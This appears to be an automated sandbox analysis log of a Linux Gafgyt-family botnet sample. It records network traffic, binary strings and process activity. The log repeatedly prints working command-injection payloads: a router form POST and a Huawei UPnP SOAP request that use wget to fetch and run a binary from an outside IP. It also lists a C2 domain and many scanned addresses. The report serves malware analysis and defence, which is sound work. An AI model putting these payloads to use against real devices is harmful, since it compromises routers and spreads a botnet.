Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl tajma.mpsl;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl tajma.mpsl;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl tajma.mpsl;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl tajma.mpsl;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl tajma.mpsl;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl tajma.mpsl;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl tajma.mpsl;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl tajma.mpsl;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl tajma.mpsl;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl tajma.mpsl;rm -rf mpsl;

Source: unknown	TCP traffic detected without corresponding DNS query: 197.143.84.163
Source: unknown	TCP traffic detected without corresponding DNS query: 157.121.212.116
Source: unknown	TCP traffic detected without corresponding DNS query: 41.11.228.75
Source: unknown	TCP traffic detected without corresponding DNS query: 157.78.39.189
Source: unknown	TCP traffic detected without corresponding DNS query: 41.52.190.106
Source: unknown	TCP traffic detected without corresponding DNS query: 167.135.168.248
Source: unknown	TCP traffic detected without corresponding DNS query: 197.160.211.30
Source: unknown	TCP traffic detected without corresponding DNS query: 197.79.185.134
Source: unknown	TCP traffic detected without corresponding DNS query: 41.184.161.50
Source: unknown	TCP traffic detected without corresponding DNS query: 41.178.223.60
Source: unknown	TCP traffic detected without corresponding DNS query: 136.237.159.244
Source: unknown	TCP traffic detected without corresponding DNS query: 14.140.135.207
Source: unknown	TCP traffic detected without corresponding DNS query: 41.157.251.75
Source: unknown	TCP traffic detected without corresponding DNS query: 197.212.13.207
Source: unknown	TCP traffic detected without corresponding DNS query: 197.70.68.107
Source: unknown	TCP traffic detected without corresponding DNS query: 197.240.226.150
Source: unknown	TCP traffic detected without corresponding DNS query: 75.145.183.20
Source: unknown	TCP traffic detected without corresponding DNS query: 138.135.122.61
Source: unknown	TCP traffic detected without corresponding DNS query: 83.137.190.93
Source: unknown	TCP traffic detected without corresponding DNS query: 41.130.236.126
Source: unknown	TCP traffic detected without corresponding DNS query: 197.146.146.75
Source: unknown	TCP traffic detected without corresponding DNS query: 41.85.124.107
Source: unknown	TCP traffic detected without corresponding DNS query: 157.133.42.181
Source: unknown	TCP traffic detected without corresponding DNS query: 41.35.8.251
Source: unknown	TCP traffic detected without corresponding DNS query: 157.177.118.29
Source: unknown	TCP traffic detected without corresponding DNS query: 43.55.180.133
Source: unknown	TCP traffic detected without corresponding DNS query: 217.158.191.231
Source: unknown	TCP traffic detected without corresponding DNS query: 51.88.243.96
Source: unknown	TCP traffic detected without corresponding DNS query: 53.232.138.42
Source: unknown	TCP traffic detected without corresponding DNS query: 41.228.232.222
Source: unknown	TCP traffic detected without corresponding DNS query: 218.242.240.215
Source: unknown	TCP traffic detected without corresponding DNS query: 157.207.71.236
Source: unknown	TCP traffic detected without corresponding DNS query: 115.192.18.199
Source: unknown	TCP traffic detected without corresponding DNS query: 41.114.25.101
Source: unknown	TCP traffic detected without corresponding DNS query: 197.57.133.253
Source: unknown	TCP traffic detected without corresponding DNS query: 89.152.74.240
Source: unknown	TCP traffic detected without corresponding DNS query: 41.113.136.1
Source: unknown	TCP traffic detected without corresponding DNS query: 157.86.25.164
Source: unknown	TCP traffic detected without corresponding DNS query: 126.202.99.230
Source: unknown	TCP traffic detected without corresponding DNS query: 157.230.193.26
Source: unknown	TCP traffic detected without corresponding DNS query: 41.0.195.117
Source: unknown	TCP traffic detected without corresponding DNS query: 197.66.212.248
Source: unknown	TCP traffic detected without corresponding DNS query: 157.94.117.96
Source: unknown	TCP traffic detected without corresponding DNS query: 197.61.122.215
Source: unknown	TCP traffic detected without corresponding DNS query: 157.74.106.13
Source: unknown	TCP traffic detected without corresponding DNS query: 157.7.2.225
Source: unknown	TCP traffic detected without corresponding DNS query: 41.118.209.70
Source: unknown	TCP traffic detected without corresponding DNS query: 39.101.154.176
Source: unknown	TCP traffic detected without corresponding DNS query: 57.245.57.15
Source: unknown	TCP traffic detected without corresponding DNS query: 130.238.128.27

Source: unknown

DNS traffic detected: queries for: botnet.net-killertajima.com

Source: unknown

HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf *mpsl*;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl tajma.mpsl;rm -rf *mpsl*;

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/plainContent-Length: 30Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/plainContent-Length: 30Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/plainContent-Length: 30Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/plainContent-Length: 30Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Length: 0X-NWS-LOG-UUID: 11438900108917416360Connection: closeServer: Lego ServerDate: Fri, 19 Apr 2024 11:08:07 GMTX-Cache-Lookup: Return Directly
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: keep-aliveContent-Length: 74Content-Type: text/htmlDate: Fri, 19 Apr 2024 11:08:16 GMTData Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 34 30 34 20 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><title>Error</title></head><body>404 - Not Found</body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundCONNECTION: closeCONTENT-LENGTH: 48CONTENT-TYPE: text/htmlData Raw: 3c 68 74 6d 6c 3e 3c 62 6f 64 79 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html><body><h1>404 Not Found</h1></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/plainContent-Length: 30Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 19 Apr 2024 13:28:52 GMTServer: DNVRS-WebsCache-Control: no-cacheContent-Length: 166Content-Type: text/htmlConnection: keep-aliveKeep-Alive: timeout=60, max=99Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 44 6f 63 75 6d 65 6e 74 20 45 72 72 6f 72 3a 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 3c 68 32 3e 41 63 63 65 73 73 20 45 72 72 6f 72 3a 20 34 30 34 20 2d 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 70 3e 43 61 6e 27 74 20 6f 70 65 6e 20 55 52 4c 3c 2f 70 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE html><html><head><title>Document Error: Not Found</title></head><body><h2>Access Error: 404 -- Not Found</h2><p>Can't open URL</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: CradlepointHTTPService/1.0.0Content-Type: text/html; charset=UTF-8Date: Fri, 19 Apr 2024 11:08:43 GMTContent-Length: 69Data Raw: 3c 68 74 6d 6c 3e 3c 74 69 74 6c 65 3e 34 30 33 3a 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 62 6f 64 79 3e 34 30 33 3a 20 46 6f 72 62 69 64 64 65 6e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html><title>403: Forbidden</title><body>403: Forbidden</body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/plainContent-Length: 30Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/plainContent-Length: 30Connection: close

Source: Q2bIN963Kt.elf	String found in binary or memory: http://103.174.73.190/tajma.mpsl;
Source: Q2bIN963Kt.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: Q2bIN963Kt.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/

Source: Q2bIN963Kt.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 5497.1.00007f162c001000.00007f162c027000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: Process Memory Space: Q2bIN963Kt.elf PID: 5497, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown

Source: Initial sample	String containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(rm -rf /tmp/linuxxx; /bin/busybox wget -g 103.174.73.190 -l /tmp/linuxxx -r /tajma.mips; /bin/busybox chmod 777 /tmp/linuxxx; /tmp/linuxxx selfrep.tajma)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: Initial sample	String containing 'busybox' found: /bin/busybox/
Source: Initial sample	String containing 'busybox' found: /bin/busybox
Source: Initial sample	String containing 'busybox' found: HTTP/1.1 200 OKskyljneegay.armskyljneegay.arm5skyljneegay.arm6skyljneegay.arm7skyljneegay.mipsskyljneegay.mpslskyljneegay.x86_64skyljneegay.sh4<?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(rm -rf /tmp/linuxxx; /bin/busybox wget -g 103.174.73.190 -l /tmp/linuxxx -r /tajma.mips; /bin/busybox chmod 777 /tmp/linuxxx; /tmp/linuxxx selfrep.tajma)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>POST /ctrlt/DeviceUpgrade_1 HTTP/1.1
Source: Initial sample	String containing 'busybox' found: Content-Length: /proc//proc/%s/exe/proc/self/exe/var/Challenge//app/hi3511/gmDVRibox/usr/dvr_main _8182T_1108/mnt/mtd/app/gui/var/Kylin/l0 c/udevd/anko-app/ankosample _8182T_1104/var/tmp/sonia/hicorestm_hi3511_dvr/bin/busybox//usr/lib/systemd/systemd//usr/libexec/openssh/sftp-server/shellsys/boot/media/srv/var/run/lib/etc/dev/home/Davinci/telnetsshwatchdog/var/spool//var/Sofia/sshd/usr/compress/bin//compress/bin/compress/usr/bashtelnetddropbearencodercundi/var/cundi//var/Condi/system/root/dvr_gui//root/dvr_app//var/tmp//anko-app//data/local/tmp//usr/lib/systemd//system/system/bin//gm/bin//mnt//home/process//home/helper/home/davinci/z/bin//mnt/mtd//tmp/sqfs//usr/libexec//usr/sbin//z/zbin//usr/bin/usr/lib/openssh/sftp-server//opt/POST /goform/set_LimitClient_cfg HTTP/1.1
Source: Initial sample	String containing 'busybox' found: wgetcurl/bin/busyboxechocatnanotfptkillallpkilltopxargspgrep/proc/proc/%d/cmdlineabcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ3f

Source: /usr/bin/xfdesktop (PID: 5525)	Directory: /home/saturnino/.Xdefaults-galassia	Jump to behavior
Source: /usr/bin/xfdesktop (PID: 5549)	Directory: /home/saturnino/.Xdefaults-galassia	Jump to behavior
Source: /usr/bin/xfdesktop (PID: 5553)	Directory: /home/saturnino/.Xdefaults-galassia	Jump to behavior
Source: /usr/bin/xfdesktop (PID: 5564)	Directory: /home/saturnino/.Xdefaults-galassia	Jump to behavior

Source: /tmp/Q2bIN963Kt.elf (PID: 5503)	File opened: /proc/1583/cmdline	Jump to behavior
Source: /tmp/Q2bIN963Kt.elf (PID: 5503)	File opened: /proc/2672/cmdline	Jump to behavior
Source: /tmp/Q2bIN963Kt.elf (PID: 5503)	File opened: /proc/1577/cmdline	Jump to behavior
Source: /tmp/Q2bIN963Kt.elf (PID: 5503)	File opened: /proc/917/cmdline	Jump to behavior
Source: /tmp/Q2bIN963Kt.elf (PID: 5503)	File opened: /proc/1593/cmdline	Jump to behavior
Source: /tmp/Q2bIN963Kt.elf (PID: 5503)	File opened: /proc/3406/cmdline	Jump to behavior
Source: /tmp/Q2bIN963Kt.elf (PID: 5503)	File opened: /proc/1/cmdline	Jump to behavior
Source: /tmp/Q2bIN963Kt.elf (PID: 5503)	File opened: /proc/2/cmdline	Jump to behavior
Source: /tmp/Q2bIN963Kt.elf (PID: 5503)	File opened: /proc/1589/cmdline	Jump to behavior
Source: /tmp/Q2bIN963Kt.elf (PID: 5503)	File opened: /proc/3/cmdline	Jump to behavior
Source: /tmp/Q2bIN963Kt.elf (PID: 5503)	File opened: /proc/1588/cmdline	Jump to behavior
Source: /tmp/Q2bIN963Kt.elf (PID: 5503)	File opened: /proc/4/cmdline	Jump to behavior
Source: /tmp/Q2bIN963Kt.elf (PID: 5503)	File opened: /proc/3402/cmdline	Jump to behavior
Source: /tmp/Q2bIN963Kt.elf (PID: 5503)	File opened: /proc/5/cmdline	Jump to behavior
Source: /tmp/Q2bIN963Kt.elf (PID: 5503)	File opened: /proc/6/cmdline	Jump to behavior
Source: /tmp/Q2bIN963Kt.elf (PID: 5503)	File opened: /proc/7/cmdline	Jump to behavior
Source: /tmp/Q2bIN963Kt.elf (PID: 5503)	File opened: /proc/8/cmdline	Jump to behavior
Source: /tmp/Q2bIN963Kt.elf (PID: 5503)	File opened: /proc/800/cmdline	Jump to behavior
Source: /tmp/Q2bIN963Kt.elf (PID: 5503)	File opened: /proc/9/cmdline	Jump to behavior
Source: /tmp/Q2bIN963Kt.elf (PID: 5503)	File opened: /proc/801/cmdline	Jump to behavior
Source: /tmp/Q2bIN963Kt.elf (PID: 5503)	File opened: /proc/803/cmdline	Jump to behavior
Source: /tmp/Q2bIN963Kt.elf (PID: 5503)	File opened: /proc/806/cmdline	Jump to behavior
Source: /tmp/Q2bIN963Kt.elf (PID: 5503)	File opened: /proc/807/cmdline	Jump to behavior
Source: /tmp/Q2bIN963Kt.elf (PID: 5503)	File opened: /proc/928/cmdline	Jump to behavior
Source: /tmp/Q2bIN963Kt.elf (PID: 5503)	File opened: /proc/3420/cmdline	Jump to behavior
Source: /tmp/Q2bIN963Kt.elf (PID: 5503)	File opened: /proc/1599/cmdline	Jump to behavior
Source: /tmp/Q2bIN963Kt.elf (PID: 5503)	File opened: /proc/3412/cmdline	Jump to behavior
Source: /tmp/Q2bIN963Kt.elf (PID: 5503)	File opened: /proc/1371/cmdline	Jump to behavior
Source: /tmp/Q2bIN963Kt.elf (PID: 5503)	File opened: /proc/1369/cmdline	Jump to behavior
Source: /tmp/Q2bIN963Kt.elf (PID: 5503)	File opened: /proc/3304/cmdline	Jump to behavior
Source: /tmp/Q2bIN963Kt.elf (PID: 5503)	File opened: /proc/3425/cmdline	Jump to behavior
Source: /tmp/Q2bIN963Kt.elf (PID: 5503)	File opened: /proc/940/cmdline	Jump to behavior
Source: /tmp/Q2bIN963Kt.elf (PID: 5503)	File opened: /proc/941/cmdline	Jump to behavior
Source: /tmp/Q2bIN963Kt.elf (PID: 5503)	File opened: /proc/1364/cmdline	Jump to behavior
Source: /tmp/Q2bIN963Kt.elf (PID: 5503)	File opened: /proc/1383/cmdline	Jump to behavior
Source: /tmp/Q2bIN963Kt.elf (PID: 5503)	File opened: /proc/1382/cmdline	Jump to behavior
Source: /tmp/Q2bIN963Kt.elf (PID: 5503)	File opened: /proc/1381/cmdline	Jump to behavior
Source: /tmp/Q2bIN963Kt.elf (PID: 5503)	File opened: /proc/3319/cmdline	Jump to behavior
Source: /tmp/Q2bIN963Kt.elf (PID: 5503)	File opened: /proc/3691/cmdline	Jump to behavior
Source: /tmp/Q2bIN963Kt.elf (PID: 5503)	File opened: /proc/1394/cmdline	Jump to behavior
Source: /tmp/Q2bIN963Kt.elf (PID: 5503)	File opened: /proc/3329/cmdline	Jump to behavior
Source: /tmp/Q2bIN963Kt.elf (PID: 5503)	File opened: /proc/5508/cmdline	Jump to behavior
Source: /tmp/Q2bIN963Kt.elf (PID: 5503)	File opened: /proc/3207/cmdline	Jump to behavior
Source: /tmp/Q2bIN963Kt.elf (PID: 5503)	File opened: /proc/5501/cmdline	Jump to behavior
Source: /tmp/Q2bIN963Kt.elf (PID: 5503)	File opened: /proc/725/cmdline	Jump to behavior
Source: /tmp/Q2bIN963Kt.elf (PID: 5503)	File opened: /proc/726/cmdline	Jump to behavior
Source: /tmp/Q2bIN963Kt.elf (PID: 5503)	File opened: /proc/5504/cmdline	Jump to behavior
Source: /tmp/Q2bIN963Kt.elf (PID: 5503)	File opened: /proc/5507/cmdline	Jump to behavior
Source: /tmp/Q2bIN963Kt.elf (PID: 5503)	File opened: /proc/3341/cmdline	Jump to behavior
Source: /tmp/Q2bIN963Kt.elf (PID: 5503)	File opened: /proc/3218/cmdline	Jump to behavior
Source: /tmp/Q2bIN963Kt.elf (PID: 5503)	File opened: /proc/3337/cmdline	Jump to behavior
Source: /tmp/Q2bIN963Kt.elf (PID: 5503)	File opened: /proc/3215/cmdline	Jump to behavior
Source: /tmp/Q2bIN963Kt.elf (PID: 5503)	File opened: /proc/1399/cmdline	Jump to behavior
Source: /tmp/Q2bIN963Kt.elf (PID: 5503)	File opened: /proc/853/cmdline	Jump to behavior
Source: /tmp/Q2bIN963Kt.elf (PID: 5503)	File opened: /proc/3213/cmdline	Jump to behavior
Source: /tmp/Q2bIN963Kt.elf (PID: 5503)	File opened: /proc/3212/cmdline	Jump to behavior
Source: /tmp/Q2bIN963Kt.elf (PID: 5503)	File opened: /proc/5512/cmdline	Jump to behavior
Source: /tmp/Q2bIN963Kt.elf (PID: 5503)	File opened: /proc/5516/cmdline	Jump to behavior
Source: /tmp/Q2bIN963Kt.elf (PID: 5503)	File opened: /proc/5530/cmdline	Jump to behavior
Source: /tmp/Q2bIN963Kt.elf (PID: 5503)	File opened: /proc/5531/cmdline	Jump to behavior
